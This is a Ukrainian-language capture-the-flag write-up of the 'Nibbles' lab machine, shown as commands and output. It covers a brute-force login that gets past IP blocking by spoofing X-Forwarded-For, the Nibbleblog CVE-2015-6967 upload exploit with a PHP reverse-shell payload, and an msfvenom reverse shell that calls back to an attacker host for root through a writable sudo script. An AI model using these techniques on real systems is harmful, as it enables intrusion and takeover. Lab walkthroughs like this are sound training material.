Nibbles - Linux машина легкого рівня. По правді кажучи, ця машина викликала багато прикрих почуттів. Той момент, коли витрачаєш купу часу на розв'язання задачі, а потім виявляється, що ти зовсім не у той бік думав і просто бився об стіну. Але давайте по черзі.
Розвідка
Як завжди, починаємо з autorecon:
$ autorecon x.x.x.x --single-target --no-port-dirs
Результат Nmap:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Перебір по файлах і директоріях на цьому етапі результатів не дав.
Зайшовши на вебпортал, знаходимо наступну підказку у джерелі вебсторінки:
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Тепер спробуємо повторити перебір файлів по директорії nibbleblog:
$ feroxbuster -u http://x.x.x.x:80/nibbleblog/ -t 10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "txt,html,php" -v -k -n -e -r
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://x.x.x.x:80/nibbleblog/
🚀 Threads │ 10
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [txt, html, php]
🏁 HTTP methods │ [GET]
🔓 Insecure │ true
📍 Follow Redirects │ true
🔈 Verbosity │ 1
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 11l 13w 402c http://x.x.x.x/nibbleblog/sitemap.php
200 GET 61l 168w 2987c http://x.x.x.x/nibbleblog/index.php
200 GET 18l 82w 1354c http://x.x.x.x/nibbleblog/content/
200 GET 61l 168w 2987c http://x.x.x.x/nibbleblog/
200 GET 8l 15w 302c http://x.x.x.x/nibbleblog/feed.php
200 GET 20l 104w 1742c http://x.x.x.x/nibbleblog/themes/
200 GET 22l 126w 2128c http://x.x.x.x/nibbleblog/admin/
200 GET 27l 96w 1401c http://x.x.x.x/nibbleblog/admin.php
200 GET 30l 214w 3778c http://x.x.x.x/nibbleblog/plugins/
200 GET 88l 174w 1622c http://x.x.x.x/nibbleblog/update.php
200 GET 1l 11w 78c http://x.x.x.x/nibbleblog/install.php
200 GET 146l 1032w 82541c http://x.x.x.x/nibbleblog/admin/templates/easy4/css/img/grey.png
200 GET 63l 643w 4628c http://x.x.x.x/nibbleblog/README
200 GET 288l 1810w 18341c http://x.x.x.x/nibbleblog/languages/es_ES.bit
200 GET 288l 921w 16627c http://x.x.x.x/nibbleblog/languages/zh_TW.bit
200 GET 288l 1748w 17998c http://x.x.x.x/nibbleblog/languages/pt_PT.bit
200 GET 288l 1797w 18351c http://x.x.x.x/nibbleblog/languages/it_IT.bit
200 GET 288l 1645w 18190c http://x.x.x.x/nibbleblog/languages/pl_PL.bit
200 GET 288l 905w 16495c http://x.x.x.x/nibbleblog/languages/zh_CN.bit
200 GET 287l 1754w 17569c http://x.x.x.x/nibbleblog/languages/nl_NL.bit
200 GET 305l 1646w 25081c http://x.x.x.x/nibbleblog/languages/ru_RU.bit
200 GET 288l 1942w 19170c http://x.x.x.x/nibbleblog/languages/fr_FR.bit
200 GET 288l 1575w 17763c http://x.x.x.x/nibbleblog/languages/de_DE.bit
200 GET 326l 1740w 17135c http://x.x.x.x/nibbleblog/languages/en_US.bit
200 GET 288l 2061w 18787c http://x.x.x.x/nibbleblog/languages/vi_VI.bit
200 GET 27l 181w 3168c http://x.x.x.x/nibbleblog/languages/
200 GET 675l 5644w 35148c http://x.x.x.x/nibbleblog/LICENSE.txt
200 GET 26l 187w 1272c http://x.x.x.x/nibbleblog/COPYRIGHT.txt
Передивившись знайдені файли, ми здобуваємо наступну інформацію:
у системі є користувач admin
<notification_email_to type="string">[email protected]</notification_email_to>
версія CMS - Nibbleblog 4.0.3
../nibbleblog/admin.php - форма логіну, залишилось знайти пароль
Перед тим, як займатись пошуком пароля, спробуємо знайти у мережі можливі вразливості для даної CMS. Без зайвих вагань знаходимо вразливість - довільне завантаження файлів, до якої навіть є готовий Metasploit модуль.
CVE-2015-6967 - Вразливість необмеженого завантаження файлів у плагіні My Image у Nibbleblog <4.0.5 дозволяє віддаленим користувачам виконувати довільний код шляхом завантаження виконуваного файлу randomname.php і виконання прямого запиту до content/private/plugins/my_image/image.php.
Для експлуатації цієї вразливості нам потрібно бути автентифікованими у системі, тож спробуємо знайти пароль для користувача admin. Тут починається найвеселіше. Почавши перебір, бачимо що у системі імплементований механізм blacklisting - після 5-ї спроби вводу невірного паролю система блокує запити з нашої IP - адреси. Обійти цей механізм допомогло використання X-Forwarded-For з унікальною адресою для кожного запиту. У мене не вистачило клепки зробити це через hydra, тож довелось спробувати через кастомізований скрипт у Turbo Intruder, працює доволі швидко, тож втрата по часу невелика. Витративши на всі операції з налаштування і перебору близько 30 хвилин, стало очевидно, що тут щось не те. Фрустрація досягла того рівня, коли треба дивитись підказку :) Паролем для користувача виявилась назва цієї машини… Буває. Нотатка на майбутнє: пробувати не тільки дефолтні паролі штибу admin\123456\etc, а ще й назви, пов’язані з конкретним програмним забезпеченням, встановленим на машині.
Первинне проникнення
Тепер у нас є ім’я та пароль користувача. Для експлуатації вразливості можна використати згаданий вище модуль для Metasploit, але ми використаємо оцей скрипт. У якості payload можна використати php-reverse-shell.php. Не забудьмо налаштувати netcat у режим прослуховування порту і запускаємо скрипт:
$ python3 exploit.py --url http://x.x.x.x/nibbleblog/ --username admin --password hehehe --payload php-reverse-shell.php
[+] Login Successful.
[+] Upload likely successfull.
Отримуємо з’єднання:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 42390
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
13:00:50 up 8 min, 0 users, load average: 0.01, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Підвищення привілеїв
Переглянемо список команд, які користувач nibbler може виконувати з правами супер користувача:
$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Оглянувши домашню директорію користувача nibbler знаходимо personal.zip архів, розархівувавши який знаходимо файл зазначений у виводі команди вище. У нас є права на запис для цього файлу, тож ми просто можемо переписати його, замінивши на файл з reverse shell:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=y.y.y.y LPORT=4545 -f elf -o monitor.sh
Запускаємо наш файл використовуючи sudo:
$ sudo /home/nibbler/personal/stuff/monitor.sh
Отримуємо з’єднання як root:
$ nc -lvnp 4545
listening on [any] 4545 ...
connect to [y.y.y.y] from (UNKNOWN) [x.x.x.x] 35198
python3 -c 'import pty;pty.spawn("/bin/bash");'
root@Nibbles:/home/nibbler/personal/stuff# cd /root
root@Nibbles:/root# ls -la
total 32
drwx------ 4 root root 4096 Jul 3 12:52 .
drwxr-xr-x 23 root root 4096 Dec 15 2020 ..
-rw------- 1 root root 0 Dec 29 2017 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Dec 10 2017 .cache
drwxr-xr-x 2 root root 4096 Dec 10 2017 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 1091 Dec 15 2020 .viminfo
-r-------- 1 root root 33 Jul 3 12:52 root.txt
По можливості, завжди корисно подивитись розбір від профі.